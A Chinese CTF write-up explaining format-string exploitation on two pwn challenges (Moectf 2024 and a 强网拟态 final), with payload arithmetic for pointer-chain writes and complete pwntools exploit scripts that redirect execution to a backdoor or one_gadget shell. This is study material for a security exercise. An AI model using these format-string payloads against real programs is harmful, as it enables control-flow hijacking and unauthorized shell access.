极限fmt利用🧐
2024Moectf的一道题目,十分有趣的格式化字符串利用😊,最终效果是完成了一次格式化字符串修改两个地方,也就是打一次非栈上fmt的指针跳板。这波属实有点极限
题目附件
夸克链接:https://pan.quark.cn/s/3ad0ae74c376
题目分析
开局给了一个栈地址,后边给了一次非栈上fmt的机会,同时题目给出后门,保护是全开的
返回地址和后门之间只差一个字节
ret:
backdoor:
按照正常的思路,需要构造一次指针跳板,造成a->b->ret->main,再去修改b地址偏移main的最后一个字节,但是%n是将前边的字节数写入对应偏移的位置,这里就有一个小tips
不管你输入的字节数是多少,%hhn只会去将总字节数的最后一个字节写入对应偏移处
例:
1 2 3 4 5 0x10000000c 0x1000000c 0x100000c 0x10000c 最后都是将0x0c 写入对应偏移处
前提是比前边全部输入的总字节数要多
错误思路
按照我们之前指针跳板的思路,应该是这样构造payload
1 2 payload =b'%' +str (stack&0xffff ).encode()+b'c%15$hn' payload+=b'%' +str (0x10008 -(stack&0xffff )).encode()+b'c%45$hhn'
实际只修改了第一个地址,第二个没有修改
引用
猜测:任意地址写用 <font style="color:rgb(68, 68, 68);">$</font>
指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 <font style="color:rgb(68, 68, 68);">$</font>
去在刚刚的指针基础上进行修改。 注意:这仅仅是个猜测,真相应该去源码中找到答案 (以后有机会的话,我应该会去分析 <font style="color:rgb(68, 68, 68);">printf</font>
函数的源码,来探究出这个答案,但可惜不是现在 🤔 )
正确思路
paylaod
1 payload=b'%p' *13 +b'%' +str ((stack&0xffff )-138 ).encode()+b'c%hn' +b'%' +str (0x10008 -(stack&0xffff )).encode()+b'c%45$hhn'
printf
解析参数会根据 %
进行判断,在 hn
前面一共有 15
个 %
,所以这个 %xxxc%hn
会将 xxx
数据加上 %p
泄露的字符个数写入第十五个参数
13+1+1=15
stack&0xffff 这个是返回地址的最后两个字节
-138 前边的%p泄露的东西,需要减去这些字符数,这里需要手动调试计算,不同版本对应也不同
0x8b是139,多接受了一个\n,听别的师傅才发现这个用法
1 2 3 a = p.recvall() print (len (a)-1 )
一开始是直接ai生成的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 leak = b'0x5555555580400x1000x7ffff7d147e20xb0x7fffffffbc84(nil)0x8b916887b95c3b000x10x7ffff7c29d90(nil)0x5555555551a90x100000000' decoded = leak.decode() results = [] i = 0 while i < len (decoded): if decoded.startswith('0x' , i): j = i + 2 while j < len (decoded) and not decoded.startswith('0x' , j) and not decoded.startswith('(nil)' , j): j += 1 results.append(decoded[i:j]) i = j elif decoded.startswith('(nil)' , i): results.append('(nil)' ) i += 5 else : i += 1 total_length = 0 print ("提取结果及长度:" )for idx, item in enumerate (results, 1 ): length = len (item) total_length += length print (f"{idx:>2 } . {item:<20 } 长度: {length} " ) print (f"\n总长度(字节数): {total_length} " )
0x10008只是将最后一个字节改为0x08,只要比前边字节大得多就可以实现
完成利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr (size ): return u64(p.recv(size).ljust(8 ,b'\x00' )) def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6' ) elf=ELF('./pwn' ) p = process('./pwn' ) rl(b'0x' ) stack=int (p.recv(12 ),16 )+0x18 li(hex (stack)) rl("You will have only one chance!" ) payload=b'%p' *13 +b'%' +str ((stack&0xffff )-138 ).encode()+b'c%hn' +b'%' +str (0x10008 -(stack&0xffff )).encode()+b'c%45$hhn' s(payload) inter()
第六届强网拟态线下赛-pwn
也是这个的点的利用,但这道题目更难一些,解题思路也更加新颖,感觉格式化字符串的思路更极限了
题目分析
libc版本是2.31的
给了一个栈地址的最后两个字节,同时有一次非栈上fmt的机会,保护除了canary都是开着的,最后是调用_exit退出。
第一步肯定是想如何去控制返回地址,达到多次利用fmt的效果,这里我们就劫持printf的返回地址为main
1 2 3 4 payload = b'%p' *9 payload += b'%' +str (printf_ret - 90 ).encode()+b'c%hn' payload += b'%' +str (0x100023 - printf_ret).encode()+b'c%39$hhn' payload=payload.ljust(0x100 ,b'\x00' )
后续补全0x100字节是为了避免read把两次读入的payload一次读入
这里再强调一下,一个%代表一个偏移,payload += b’%‘+str(printf_ret - 90).encode()+b’c%hn’#11本身是有两个%的,所以算两个偏移
计算%p*9的字节数还可以用,-1是因为\n
1 2 a=p.recvall() print (len (a)-1 )
之后再去执行printf的时候返回地址还是没有更改,这就需要我们每一次先将返回地址修改,因为跳板指针不会变,所以我们这里可以直接修改,这是是打算将返回地址(rbp+8)修改为one_gadget,但这样却没办法执行,参考大佬的思路,是将printf的返回地址改为ret,再将此时栈顶改为one_gadget,就可以跳转到one_gagdet,getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *from struct import packimport ctypesfrom ae64 import AE64def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr (size ): return u64(p.recv(size).ljust(8 ,b'\x00' )) def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6' ) elf=ELF('./fmt' ) p = process('./fmt' ) rl("Gift: " ) ret=int (p.recv(4 ),16 ) li(hex (ret)) pause() printf_ret=ret-12 payload = b'%p' *9 payload += b'%' +str (printf_ret - 90 ).encode()+b'c%hn' payload += b'%' +str (0x100023 - printf_ret).encode()+b'c%39$hhn' payload=payload.ljust(0x100 ,b'\x00' ) s(payload) p.recvuntil("0x100" ) libc_base=int (p.recv(14 ),16 )-0x10e1f2 ogg=libc_base+0xe3b01 li(hex (libc_base)) li(hex (ogg)) pause() payload = b'%' +str (0x23 ).encode()+b'c%39$hhn' payload+=b'%' +str ((ret-4 )-0x23 ).encode()+b'c%27$hn' payload=payload.ljust(0x100 ,b'\x00' ) s(payload) pause() payload = b'%' +str (0x23 ).encode()+b'c%39$hhn' payload+=b'%' +str (((ogg&0xffff ))-0x23 ).encode()+b'c%41$hn' payload=payload.ljust(0x100 ,b'\x00' ) s(payload) pause() payload = b'%' +str (0x23 ).encode()+b'c%39$hhn' payload+=b'%' +str ((ret-4 +2 )-0x23 ).encode()+b'c%27$hn' payload=payload.ljust(0x100 ,b'\x00' ) s(payload) pause() payload = b'%' +str (0x23 ).encode()+b'c%39$hhn' payload+=b'%' +str ((ogg>>16 &0xffff )-0x23 ).encode()+b'c%41$hn' payload =payload.ljust(0x100 ,b'\x00' ) bug() s(payload) pause() payload = b'%' +str (0x23 ).encode()+b'c%39$hhn' payload+=b'%' +str ((ret-4 +2 +2 )-0x23 ).encode()+b'c%27$hn' payload=payload.ljust(0x100 ,b'\x00' ) s(payload) ''' pause() payload = b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str((ogg>>32)-0x23).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00') bug() s(payload) ''' pause() payload = b'%' +str (0xc4 ).encode()+b'c%39$hhn' s(payload) inter()
好抽象,需要把这一部分去了才成功,调试发现是改错数字了,可能是我本地关闭arls的原因🧐,这里也不重要,前边改好之后后续改one_gadget就是一个板子题
参考
https://qfbsz.github.io/2024/10/02/onechance-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/
https://zikh26.github.io/posts/a523e26a.html#%E5%89%8D%E8%A8%80